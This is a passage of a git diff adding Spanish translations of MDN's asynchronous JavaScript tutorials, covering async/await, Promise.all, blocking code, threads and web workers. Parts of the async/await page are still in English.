+<p>Ah!. Ahora cuando invocamos la función, retorna una promesa(promise). Esta es una de las características particulares de las funciones async —  los valores que retornan están garantizados para ser convertidos en promesas.</p>
+
+<p>También puedes crear una <a href="/en-US/docs/Web/JavaScript/Reference/Operators/async_function">expresión de función async</a>, así:</p>
+
+<pre class="brush: js notranslate">let hello = async function() { return "Hello" };
+hello();</pre>
+
+<p>Y puedes utilizar funciones flecha(arrow functions):</p>
+
+<pre class="brush: js notranslate">let hello = async () =&gt; { return "Hello" };</pre>
+
+<p>Todos estos hacen básicamente lo mismo.</p>
+
+<p>Para realmente consumir el valor retornado cuando la promesa se cumple, ya que se está devolviendo una promesa, podemos utilizar un bloque <code>then()</code>: </p>
+
+<pre class="brush: js notranslate">hello().then((value) =&gt; console.log(value))</pre>
+
+<p>o incluso sólo un shorthand como</p>
+
+<pre class="brush: js notranslate">hello().then(console.log)</pre>
+
+<p>Como vimos en el último artículo.</p>
+
+<p>La palabra clave <code>async</code> se añade a las funciones para decirles que devuelvan una promesa en lugar de devolver directamente el valor. Adicionamente, esto permite que las funciones síncronas eviten cualquier potencial sobrecarga que viene con correr con el soporte por usar <code>async</code>. Cuando una función es declarada <code>async</code> con sólo añadir la manipulación necesaria, el motor de JavaScript puede optimizar su programa por usted. Dulce!</p>
+
+<p>So the <code>async</code> keyword is added to functions to tell them to return a promise rather than directly returning the value. In addition, this lets synchronous functions avoid any potential overhead that comes with running with support for using <code>await</code>. By only adding the necessary handling when the function is declared <code>async</code>, the JavaScript engine can optimize your program for you. Sweet!</p>
+
+<h3 id="La_palabra_clave_await">La palabra clave await</h3>
+
+<p>La ventaja real de las funciones asincronas aparecen cuando las combinas con la palabra clave <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a> — en efecto, <strong><code>await</code> solo trabaja dentro de las funciones async</strong>. Esta puede ser puesta frente a cualquier funcion async basada en una promesa para pausar tu codigo en esa linea hasta que se cumpla la promesa, entonces retorna el valor resultante. Mientras tanto, otro código que puede estar esperando una oportunidad para ejecutarse, puede hacerlo.</p>
+
+<p>Puedes usar <code>await</code> cuando llames cualquier funcion que retorna una Promesa, incluyendo funciones web API.</p>
+
+<p>Este es un ejemplo trivial:</p>
+
+<pre class="brush: js notranslate">async function hello() {
+  return greeting = await Promise.resolve("Hello");
+};
+
+hello().then(alert);</pre>
+
+<p>Por supuesto, el ejemplo anterior no es muy util, aunque este sirve para ilustrar la syntaxis. Vamos a ver un ejemplo real.</p>
+
+<h2 id="Reescribiendo_el_código_de_las_promesas_con_asyncawait">Reescribiendo el código de las promesas con async/await</h2>
+
+<p>Let's look back at a simple fetch example that we saw in the previous article:</p>
+
+<pre class="brush: js notranslate">fetch('coffee.jpg')
+.then(response =&gt; {
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    return response.blob();
+  }
+})
+.then(myBlob =&gt; {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>By now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes things:</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    let myBlob = await response.blob();
+
+    let objectURL = URL.createObjectURL(myBlob);
+    let image = document.createElement('img');
+    image.src = objectURL;
+    document.body.appendChild(image);
+  }
+}
+
+myFetch()
+.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>It makes code much simpler and easier to understand — no more <code>.then()</code> blocks everywhere!</p>
+
+<p>Since an <code>async</code> keyword turns a function into a promise, you could refactor your code to use a hybrid approach of promises and await, bringing the second half of the function out into a new block to make it more flexible:</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    return await response.blob();
+  }
+}
+
+myFetch().then((blob) =&gt; {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch(e =&gt; console.log(e));</pre>
+
+<p>You can try typing in the example yourself, or running our <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await.html">live example</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await.html">source code</a>).</p>
+
+<h3 id="But_how_does_it_work">But how does it work?</h3>
+
+<p>You'll note that we've wrapped the code inside a function, and we've included the <code>async</code> keyword before the <code>function</code> keyword. This is necessary — you have to create an async function to define a block of code in which you'll run your async code; as we said earlier, <code>await</code> only works inside of async functions.</p>
+
+<p>Inside the <code>myFetch()</code> function definition you can see that the code closely resembles the previous promise version, but there are some differences. Instead of needing to chain a <code>.then()</code> block on to the end of each promise-based method, you just need to add an <code>await</code> keyword before the method call, and then assign the result to a variable. The <code>await</code> keyword causes the JavaScript runtime to pause your code on this line, allowing other code to execute in the meantime, until the async function call has returned its result. Once that's complete, your code continues to execute starting on the next line. For example:</p>
+
+<pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre>
+
+<p>The response returned by the fulfilled <code>fetch()</code> promise is assigned to the <code>response</code> variable when that response becomes available, and the parser pauses on this line until that occurs. Once the response is available, the parser moves to the next line, which creates a <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> out of it. This line also invokes an async promise-based method, so we use <code>await</code> here as well. When the result of operation returns, we return it out of the <code>myFetch()</code> function.</p>
+
+<p>This means that when we call the <code>myFetch()</code> function, it returns a promise, so we can chain a <code>.then()</code> onto the end of it inside which we handle displaying the blob onscreen.</p>
+
+<p>You are probably already thinking "this is really cool!", and you are right — fewer <code>.then()</code> blocks to wrap around code, and it mostly just looks like synchronous code, so it is really intuitive.</p>
+
+<h3 id="Adding_error_handling">Adding error handling</h3>
+
+<p>And if you want to add error handling, you've got a couple of options.</p>
+
+<p>You can use a synchronous <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> structure with <code>async</code>/<code>await</code>. This example expands on the first version of the code we showed above:</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  try {
+    let response = await fetch('coffee.jpg');
+
+    if (!response.ok) {
+      throw new Error(`HTTP error! status: ${response.status}`);
+    } else {
+      let myBlob = await response.blob();
+      let objectURL = URL.createObjectURL(myBlob);
+      let image = document.createElement('img');
+      image.src = objectURL;
+      document.body.appendChild(image);
+    }
+  } catch(e) {
+    console.log(e);
+  }
+}
+
+myFetch();</pre>
+
+<p>The <code>catch() {}</code> block is passed an error object, which we've called <code>e</code>; we can now log that to the console, and it will give us a detailed error message showing where in the code the error was thrown.</p>
+
+<p>If you wanted to use the second (refactored) version of the code that we showed above, you would be better off just continuing the hybrid approach and chaining a <code>.catch()</code> block onto the end of the <code>.then()</code> call, like this:</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    return await response.blob();
+  }
+}
+
+myFetch().then((blob) =&gt; {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch((e) =&gt;
+  console.log(e)
+);</pre>
+
+<p>This is because the <code>.catch()</code> block will catch errors occurring in both the async function call and the promise chain. If you used the <code>try</code>/<code>catch</code> block here, you might still get unhandled errors in the <code>myFetch()</code> function when it's called.</p>
+
+<p>You can find both of these examples on GitHub:</p>
+
+<ul>
+ <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">simple-fetch-async-await-try-catch.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">source code</a>)</li>
+ <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">simple-fetch-async-await-promise-catch.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">source code</a>)</li>
+</ul>
+
+<h2 id="Awaiting_a_Promise.all">Awaiting a Promise.all()</h2>
+
+<p>async/await is built on top of <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, so it's compatible with all the features offered by promises. This includes <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code> — you can quite happily await a <code>Promise.all()</code> call to get all the results returned into a variable in a way that looks like simple synchronous code. Again, let's return to <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">an example we saw in our previous article</a>. Keep it open in a separate tab so you can compare and contrast with the new version shown below.</p>
+
+<p>Converting this to async/await (see <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">live demo</a> and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">source code</a>), this now looks like so:</p>
+
+<pre class="brush: js notranslate">async function fetchAndDecode(url, type) {
+  let response = await fetch(url);
+
+  let content;
+
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    if(type === 'blob') {
+      content = await response.blob();
+    } else if(type === 'text') {
+      content = await response.text();
+    }
+
+    return content;
+  }
+
+}
+
+async function displayContent() {
+  let coffee = fetchAndDecode('coffee.jpg', 'blob');
+  let tea = fetchAndDecode('tea.jpg', 'blob');
+  let description = fetchAndDecode('description.txt', 'text');
+
+  let values = await Promise.all([coffee, tea, description]);
+
+  let objectURL1 = URL.createObjectURL(values[0]);
+  let objectURL2 = URL.createObjectURL(values[1]);
+  let descText = values[2];
+
+  let image1 = document.createElement('img');
+  let image2 = document.createElement('img');
+  image1.src = objectURL1;
+  image2.src = objectURL2;
+  document.body.appendChild(image1);
+  document.body.appendChild(image2);
+
+  let para = document.createElement('p');
+  para.textContent = descText;
+  document.body.appendChild(para);
+}
+
+displayContent()
+.catch((e) =&gt;
+  console.log(e)
+);</pre>
+
+<p>You'll see that the <code>fetchAndDecode()</code> function has been converted easily into an async function with just a few changes. See the <code>Promise.all()</code> line:</p>
+
+<pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre>
+
+<p>By using <code>await</code> here we are able to get all the results of the three promises returned into the <code>values</code> array, when they are all available, in a way that looks very much like sync code. We've had to wrap all the code in a new async function, <code>displayContent()</code>, and we've not reduced the code by a lot of lines, but being able to move the bulk of the code out of the <code>.then()</code> block provides a nice, useful simplification, leaving us with a much more readable program.</p>
+
+<p>For error handling, we've included a <code>.catch()</code> block on our <code>displayContent()</code> call; this will handle errors ocurring in both functions.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: It is also possible to use a sync <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#The_finally_clause">finally</a></code> block within an async function, in place of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code> async block, to show a final report on how the operation went — you can see this in action in our <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-finally-async-await.html">live example</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-finally-async-await.html">source code</a>).</p>
+</div>
+
+<h2 id="The_downsides_of_asyncawait">The downsides of async/await</h2>
+
+<p>Async/await is really useful to know about, but there are a couple of downsides to consider.</p>
+
+<p>Async/await makes your code look synchronous, and in a way it makes it behave more synchronously. The <code>await</code> keyword blocks execution of all the code that follows until the promise fulfills, exactly as it would with a synchronous operation. It does allow other tasks to continue to run in the meantime, but your own code is blocked.</p>
+
+<p>This means that your code could be slowed down by a significant number of awaited promises happening straight after one another. Each <code>await</code> will wait for the previous one to finish, whereas actually what you want is for the promises to begin processing simultaneously, like they would do if we weren't using async/await.</p>
+
+<p>There is a pattern that can mitigate this problem — setting off all the promise processes by storing the <code>Promise</code> objects in variables, and then awaiting them all afterwards. Let's have a look at some examples that prove the concept.</p>
+
+<p>We've got two examples available — <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html">source code</a>) and <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html">source code</a>). Both of them start off with a custom promise function that fakes an async process with a <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> call:</p>
+
+<pre class="brush: js notranslate">function timeoutPromise(interval) {
+  return new Promise((resolve, reject) =&gt; {
+    setTimeout(function(){
+      resolve("done");
+    }, interval);
+  });
+};</pre>
+
+<p>Then each one includes a <code>timeTest()</code> async function that awaits three <code>timeoutPromise()</code> calls:</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  ...
+}</pre>
+
+<p>Each one ends by recording a start time, seeing how long the <code>timeTest()</code> promise takes to fulfill, then recording an end time and reporting how long the operation took in total:</p>
+
+<pre class="brush: js notranslate">let startTime = Date.now();
+timeTest().then(() =&gt; {
+  let finishTime = Date.now();
+  let timeTaken = finishTime - startTime;
+  alert("Time taken in milliseconds: " + timeTaken);
+})</pre>
+
+<p>It is the <code>timeTest()</code> function that differs in each case.</p>
+
+<p>In the <code>slow-async-await.html</code> example, <code>timeTest()</code> looks like this:</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+}</pre>
+
+<p>Here we simply await all three <code>timeoutPromise()</code> calls directly, making each one alert for 3 seconds. Each subsequent one is forced to wait until the last one finished — if you run the first example, you'll see the alert box reporting a total run time of around 9 seconds.</p>
+
+<p>In the <code>fast-async-await.html</code> example, <code>timeTest()</code> looks like this:</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  const timeoutPromise1 = timeoutPromise(3000);
+  const timeoutPromise2 = timeoutPromise(3000);
+  const timeoutPromise3 = timeoutPromise(3000);
+
+  await timeoutPromise1;
+  await timeoutPromise2;
+  await timeoutPromise3;
+}</pre>
+
+<p>Here we store the three <code>Promise</code> objects in variables, which has the effect of setting off their associated processes all running simultaneously.</p>
+
+<p>Next, we await their results — because the promises all started processing at essentially the same time, the promises will all fulfill at the same time; when you run the second example, you'll see the alert box reporting a total run time of just over 3 seconds!</p>
+
+<p>You'll have to test your code carefully, and bear this in mind if performance starts to suffer.</p>
+
+<p>Another minor inconvenience is that you have to wrap your awaited promises inside an async function.</p>
+
+<h2 id="Asyncawait_class_methods">Async/await class methods</h2>
+
+<p>As a final note before we move on, you can even add <code>async</code> in front of class/object methods to make them return promises, and <code>await</code> promises inside them. Take a look at the <a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#ECMAScript_2015_Classes">ES class code we saw in our object-oriented JavaScript article</a>, and then look at our modified version with an <code>async</code> method:</p>
+
+<pre class="brush: js notranslate">class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  async greeting() {
+    return await Promise.resolve(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+
+let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);</pre>
+
+<p>The first class method could now be used something like this:</p>
+
+<pre class="brush: js notranslate">han.greeting().then(console.log);</pre>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>One consideration when deciding whether to use async/await is support for older browsers. They are available in modern versions of most browsers, the same as promises; the main support problems come with Internet Explorer and Opera Mini.</p>
+
+<p>If you want to use async/await but are concerned about older browser support, you could consider using the <a href="https://babeljs.io/">BabelJS</a> library — this allows you to write your applications using the latest JavaScript and let Babel figure out what changes if any are needed for your user’s browsers. On encountering a browser that does not support async/await, Babel's polyfill can automatically provide fallbacks that work in older browsers.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>And there you have it — async/await provide a nice, simplified way to write async code that is simpler to read and maintain. Even with browser support being more limited than other async code mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/es/learn/javascript/asynchronous/concepts/index.html b/files/es/learn/javascript/asynchronous/concepts/index.html
new file mode 100644
index 0000000000..df3feb2117
--- /dev/null
+++ b/files/es/learn/javascript/asynchronous/concepts/index.html
@@ -0,0 +1,162 @@
+---
+title: General asynchronous programming concepts
+slug: Learn/JavaScript/Asynchronous/Concepts
+tags:
+  - Aprender
+  - Hilos
+  - JavaScript
+  - Promesas
+  - Threads
+  - bloques
+translation_of: Learn/JavaScript/Asynchronous/Concepts
+---
+<div>{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p>En este artículo, repasaremos una serie de conceptos importantes relacionados con la programación asincrónica y cómo se ve esto en los navegadores web y JavaScript. Debe comprender estos conceptos antes de trabajar con los demás artículos del módulo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Literatura básica de computadora, un razonable entendimiento de los fundamentos de JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender los conceptos básicos detrás de la programación asincrónica, y cómo se manifiesta en los exploradores web y JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Asincrónico">¿Asincrónico?</h2>
+
+<p>Normalmente, el código de un programa determinado se ejecuta directamente, y solo sucede una cosa a la vez. Si una función se basa en el resultado de otra función, tiene que esperar a que la otra función termine y regrese, y hasta que eso suceda, todo el programa se detiene esencialmente desde la perspectiva del usuario.</p>
+
+<p>Los usuarios de Mac, por ejemplo, a veces experimentan esto como un cursor giratorio multicolor (o "beachball" - "bola de playa" - como es llamado frecuentemente). Este cursor es la manera que tiene el sistema operativo de decir "el actual programa que está usando tiene que parar y esperar que algo termine, y está tomando tanto tiempo que me preocupa que pienses qué está sucediendo."</p>
+
+<p><img alt="Multi-colored macOS beachball busy spinner" src="https://mdn.mozillademos.org/files/16577/beachball.jpg" style="display: block; float: left; height: 256px; margin: 0px 30px 0px 0px; width: 250px;"></p>
+
+<p>Esto es una experiencia frustrante y no es un buen uso del poder de procesamiento de una computadora - especialmente en una era donde las computadoras tienen múltiples procesadores disponibles. No tiene sentido sentarse allí a esperar algo cuando podrías dejar que la otra tarea se ejecute en otro procesador y le notifique cuando termine. Mientras tanto, esto le permitiría terminar otros trabajos, lo cual es la base de la <strong>programación asincrónica</strong>. Depende del entorno de programación que esté usando (exploradores web, en caso de desarrollo web) proveer de APIs que le permitan ejecutar dichas tareas de manera asincrónica.</p>
+
+<h2 id="Código_de_bloqueo_Blocking">Código de bloqueo (Blocking)</h2>
+
+<p>Las técnicas asincrónicas son muy útiles, particularmente en programación web. Cuando una app web se ejeucta en el navegador y ejecuta un gran bloque de código sin retornar el control al navegador, este mismo puede parecer que se congela. Esto es llamado <strong>blocking</strong>; el navegador es bloqueado para que el usuario pueda seguir interactuando y realizando otras tareas hasta que la app web retorne el control sobre el procesador.</p>
+
+<p>Vamos a ver algunos ejemplos que muestren lo que significa blocking.</p>
+
+<p>En nuestro ejemplo <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing/simple-sync.html">simple-sync.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">véalo en vivo</a>), agregamos un detector del evento click ("click event listener") a un botón con el fin de que cuando sea clickeado, ejecute una operación de un gran consumo de tiempo (calcula 10 millones de fechas y luego muestra la última en la consola) y luego agrega un párrafo al DOM:</p>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+btn.addEventListener('click', () =&gt; {
+  let myDate;
+  for(let i = 0; i &lt; 10000000; i++) {
+    let date = new Date();
+    myDate = date
+  }
+
+  console.log(myDate);
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});</pre>
+
+<p>Cuando ejecute el ejemplo, abra su consola de JavaScript y haga click en el botón — notará que el párrafo no aparece hasta que las fechas hayan sido calculadas en su totalidad y el mensaje en la consola haya sido logueado. EL código se ejecuta en el orden en que aparece (de arriba hacia abajo), y la última operación no se ejecuta hasta que la anterior haya terminado.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El ejemplo anterior es poco realista. ¡Nunca se van a calcular 10 millones de fechas en una app web real! Sin embargo, sirve para dar una idea básica.</p>
+</div>
+
+<p>En nuestro segundo ejemplo, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">véalo en vivo</a>), se simula algo un poco más realista con el que se puede encontrar en una página real. Se bloquea la interacción del usuario con la carga ("rendering") de la UI. En este ejemplo, se tienen dos botones:</p>
+
+<ul>
+ <li>Un botón "Fill canvas" que cuando es clickeado llena con 1 millón de círculos azules al {{htmlelement("canvas")}} disponible.</li>
+ <li>Un botón "Click me for alert" que cuando es clickeado muestra un mensaje de alerta.</li>
+</ul>
+
+<pre class="brush: js notranslate">function expensiveOperation() {
+  for(let i = 0; i &lt; 1000000; i++) {
+    ctx.fillStyle = 'rgba(0,0,255, 0.2)';
+    ctx.beginPath();
+    ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false);
+    ctx.fill()
+  }
+}
+
+fillBtn.addEventListener('click', expensiveOperation);
+
+alertBtn.addEventListener('click', () =&gt;
+  alert('You clicked me!')
+);</pre>
+
+<p>Si se clickea el primer botón y rápidamente se clickea el segundo, se verá que la alerta no aparece hasta que los círculos hayan terminado de representarse. La primer operación blockea a la segunda hasta que esta haya terminado de ejecutarse.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: OK, nuestro caso es feo y estamos fingiendo el efecto de bloqueo, pero es un problema común con el que los desarrolladores de aplicaciones reales batallan todo el tiempo.</p>
+</div>
+
+<p>¿Por qué es esto? La respuesta es porque JavaScript, en general, es de <strong>"un solo hilo" (single-threaded)</strong>. En este punto, se tiene que introduce el concepto de <strong>"hilos" (threads)</strong>.</p>
+
+<h2 id="Threads">Threads</h2>
+
+<p>Un <strong>hilo (thread)</strong> es básicamente un proceso simple que un programa puede usar para completar tareas ("tasks"). Cada hilo solo puede realizar una tarea a la vez:</p>
+
+<pre class="notranslate">Task A --&gt; Task B --&gt; Task C</pre>
+
+<p>Cada tarea se va a ejecutar secuencialmente; una tarea tiene que completarse antes de que la próxima empiece.</p>
+
+<p>Como se dijo previamente, muchas computadores actualmente tienen múltiples procesadores, por lo que pueden realizar múltiples tareas a la vez. Los lenguajes de programación que pueden manejar múltiples hilos pueden usar múltiples procesadores para completar múltiples tareas en simultáneo. </p>
+
+<pre class="notranslate">Thread 1: Task A --&gt; Task B
+Thread 2: Task C --&gt; Task D</pre>
+
+<h3 id="JavaScript_es_single-threaded">JavaScript es single-threaded</h3>
+
+<p>JavScript es tradicionalmente single-threaded. Aún con múltiples procesadores, solo se puede ejecutar tareas en un solo hilo, llamado el <strong>hilo principal (main thread)</strong>. El ejemplo de arriba se ejecuta de la siguiente manera:</p>
+
+<pre class="notranslate">Main thread: Render circles to canvas --&gt; Display alert()</pre>
+
+<p>Después de un tiempo, JavaScript ganó algunas herramientas que ayudaron con dichos problemas. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> permiten que se envíe parte del procesamiento de JavaScript a un hilo separado, llamado worker con el fin de que puedan ejecutar múltiples pedazos de JavaScript en simultáneo. Generalmente se usará un worker para ejectuar procesos de mucho consumo del hilo principal (main thread) con el fin de que no se bloquee la interacción del usuario.</p>
+
+<pre class="notranslate">  Main thread: Task A --&gt; Task C
+Worker thread: Expensive task B</pre>
+
+<p>Con esto en mente, miremos el ejemplo <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">véalo ejecutándose en vivo</a>) nuevamente con la consola de JavaScript del navegador abierta. Esto es una re-escritura del ejemplo anterior que calculaba 10 millones de fechas en hilos worker separados. Ahora si se clickea el botón, el navegador tiene permitido mostrar el párrafo antes de que las fechas haya terminado de calcularse. La primer operación ya no bloquea a la segunda.</p>
+
+<h2 id="Código_asincrónico">Código asincrónico</h2>
+
+<p>Los web workers son muy útiles, pero tienen limitaciones. La mayor es que no pueden acceder al {{Glossary("DOM")}} — no se puede logar que un worker modifique directamente algo de la UI. No se puede representar 1 millón de círculos azules en un worker; básicamente solo puede hacer el cálculo numérico.</p>
+
+<p>El segundo problema es que a pesar de que el código se ejecuta en un worker no es bloqueador, es simplemente sincrónico. Esto se convierte en un problema cuando una función depender en los resultados de múltiples procesos previos para funcionar. Considere el siguiente diagrama de hilos:</p>
+
+<pre class="notranslate">Main thread: Task A --&gt; Task B</pre>
+
+<p>En este caso, digamos que la Tarea A (Task A) está haciendo algo como buscando una imagen de un servidor y la Tarea B (Task B) luego hace algo con la imagen, como aplicarle un filtro. Si se ejecuta la Tarea A y luego inmediatamente se trata de ejecutar la Tarea B, se obtendrá un error, porque la imagen todavía no estará disponible.</p>
+
+<pre class="notranslate">  Main thread: Task A --&gt; Task B --&gt; |Task D|
+Worker thread: Task C -----------&gt; |      |</pre>
+
+<p>En este caso, digamos que la Tarea D hace uso de los resultados de la Tarea B y la Tarea C. Se se puede garantizar que esos resultados estarán disponibles al mismo tiempo, entonces tal vez estemos OK, pero es poco probable. Si la Tarea D trata de ejecutarse cuando uno de sus inputs no está disponible, disparará un error.</p>
+
+<p>Para arreglar dichos problemas, los navegadores nos permiten ejecutar ciertas operaciones asincrónicamente. Características como las <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> (Promesas) permiten establecer la ejecución de una operación (por ejemplo, buscar una imagen desde un servidor), y luego esperar hasta que el resultado sea retornado antes de ejecutar otra operación. </p>
+
+<pre class="notranslate">Main thread: Task A                   Task B
+    Promise:      |__async operation__|</pre>
+
+<p>Como la operación está sucediendo en otro lugar, el hilo principal no está bloqueado mientras la operación asincrónica está siendo procesada.</p>
+
+<p>Vamos a empezar a ver cómo se puede escribir código asincrónico en el próximo artículo. Cosas emocionantes, ¿eh? ¡Siga leyendo!</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>El diseño del software moderno gira cada más entorno a la programación asincrónica, para permiterle a los programas hacer más de una cosa a la vez. A medida que use nuevas y más poderosas APIs, encontrará más casos donde la única forma de realizar las cosas es asincrónicamente. Era muy difícil escribir el código asincrónico. Todavía lleva tiempo acostumbrarse, pero se ha vuelto mucho más sencillo. En el resto de este módulo, exploraremos porqué el código asincrónico importa y cómo diseñar código que evite algunos de los problemas que hemos descrito en este artículo.</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">Conceptos generales de programación asincrónica</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducción a JavaScript asincrónico</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asincrónico cooperativo: Timeouts e intervalos</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Programación asincrónica elegante con Promesas</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Programación asincrónica más sencilla con async y await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Eligiendo el correcto enfoque</a></li>
+</ul>
diff --git a/files/es/learn/javascript/asynchronous/index.html b/files/es/learn/javascript/asynchronous/index.html
new file mode 100644
index 0000000000..b2fb697803
--- /dev/null
+++ b/files/es/learn/javascript/asynchronous/index.html
@@ -0,0 +1,43 @@
+---
+title: JavaScript asíncrono
+slug: Learn/JavaScript/Asynchronous
+translation_of: Learn/JavaScript/Asynchronous
+---
+<div>{{LearnSidebar}}</div>
+
